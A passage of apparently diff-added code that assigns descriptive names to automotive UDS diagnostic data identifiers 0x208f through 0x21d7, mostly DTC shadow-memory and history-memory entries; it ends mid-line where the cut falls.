+UDS_RDBI.dataIdentifiers[0x208f] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x2090] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x2091] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x2092] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x2093] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x2094] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x2095] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x2096] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x2097] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x2098] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x2099] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x209a] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x209b] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x209c] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x209d] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x209e] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x209f] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x20a0] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x20a1] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x20a2] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x20a3] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x20a4] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x20a5] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x20a6] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x20a7] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x20a8] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x20a9] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x20aa] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x20ab] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x20ac] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x20ad] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x20ae] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x20af] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x20b0] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x20b1] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x20b2] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x20b3] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x20b4] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x20b5] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x20b6] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x20b7] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x20b8] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x20b9] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x20ba] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x20bb] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x20bc] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x20bd] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x20be] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x20bf] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x20c0] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x20c1] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x20c2] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x20c3] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x20c4] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x20c5] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x20c6] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x20c7] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x20c8] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x20c9] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x20ca] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x20cb] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x20cc] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x20cd] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x20ce] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x20cf] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x20d0] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x20d1] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x20d2] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x20d3] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x20d4] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x20d5] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x20d6] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x20d7] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x20d8] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x20d9] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x20da] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x20db] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x20dc] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x20dd] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x20de] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x20df] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x20e0] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x20e1] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x20e2] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x20e3] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x20e4] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x20e5] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x20e6] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x20e7] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x20e8] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x20e9] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x20ea] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x20eb] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x20ec] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x20ed] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x20ee] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x20ef] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x20f0] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x20f1] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x20f2] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x20f3] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x20f4] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x20f5] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x20f6] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x20f7] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x20f8] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x20f9] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x20fa] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x20fb] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x20fc] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x20fd] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x20fe] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x20ff] = "dtcShadowMemoryEntry" +UDS_RDBI.dataIdentifiers[0x2100] = "dtcHistoryMemory" +UDS_RDBI.dataIdentifiers[0x2101] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x2102] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x2103] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x2104] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x2105] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x2106] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x2107] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x2108] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x2109] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x210a] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x210b] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x210c] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x210d] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x210e] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x210f] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x2110] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x2111] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x2112] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x2113] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x2114] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x2115] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x2116] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x2117] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x2118] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x2119] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x211a] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x211b] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x211c] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x211d] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x211e] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x211f] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x2120] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x2121] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x2122] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x2123] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x2124] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x2125] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x2126] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x2127] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x2128] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x2129] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x212a] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x212b] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x212c] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x212d] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x212e] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x212f] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x2130] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x2131] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x2132] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x2133] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x2134] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x2135] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x2136] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x2137] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x2138] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x2139] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x213a] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x213b] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x213c] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x213d] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x213e] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x213f] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x2140] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x2141] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x2142] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x2143] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x2144] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x2145] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x2146] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x2147] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x2148] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x2149] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x214a] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x214b] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x214c] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x214d] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x214e] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x214f] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x2150] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x2151] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x2152] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x2153] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x2154] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x2155] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x2156] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x2157] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x2158] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x2159] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x215a] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x215b] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x215c] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x215d] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x215e] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x215f] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x2160] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x2161] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x2162] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x2163] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x2164] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x2165] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x2166] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x2167] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x2168] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x2169] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x216a] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x216b] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x216c] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x216d] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x216e] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x216f] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x2170] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x2171] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x2172] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x2173] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x2174] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x2175] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x2176] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x2177] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x2178] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x2179] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x217a] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x217b] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x217c] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x217d] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x217e] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x217f] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x2180] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x2181] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x2182] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x2183] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x2184] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x2185] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x2186] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x2187] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x2188] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x2189] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x218a] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x218b] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x218c] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x218d] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x218e] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x218f] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x2190] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x2191] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x2192] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x2193] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x2194] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x2195] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x2196] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x2197] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x2198] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x2199] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x219a] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x219b] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x219c] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x219d] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x219e] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x219f] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x21a0] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x21a1] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x21a2] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x21a3] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x21a4] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x21a5] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x21a6] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x21a7] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x21a8] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x21a9] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x21aa] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x21ab] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x21ac] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x21ad] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x21ae] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x21af] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x21b0] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x21b1] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x21b2] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x21b3] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x21b4] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x21b5] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x21b6] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x21b7] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x21b8] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x21b9] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x21ba] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x21bb] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x21bc] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x21bd] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x21be] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x21bf] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x21c0] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x21c1] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x21c2] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x21c3] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x21c4] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x21c5] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x21c6] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x21c7] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x21c8] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x21c9] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x21ca] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x21cb] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x21cc] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x21cd] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x21ce] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x21cf] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x21d0] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x21d1] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x21d2] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x21d3] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x21d4] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x21d5] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x21d6] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x21d7] = 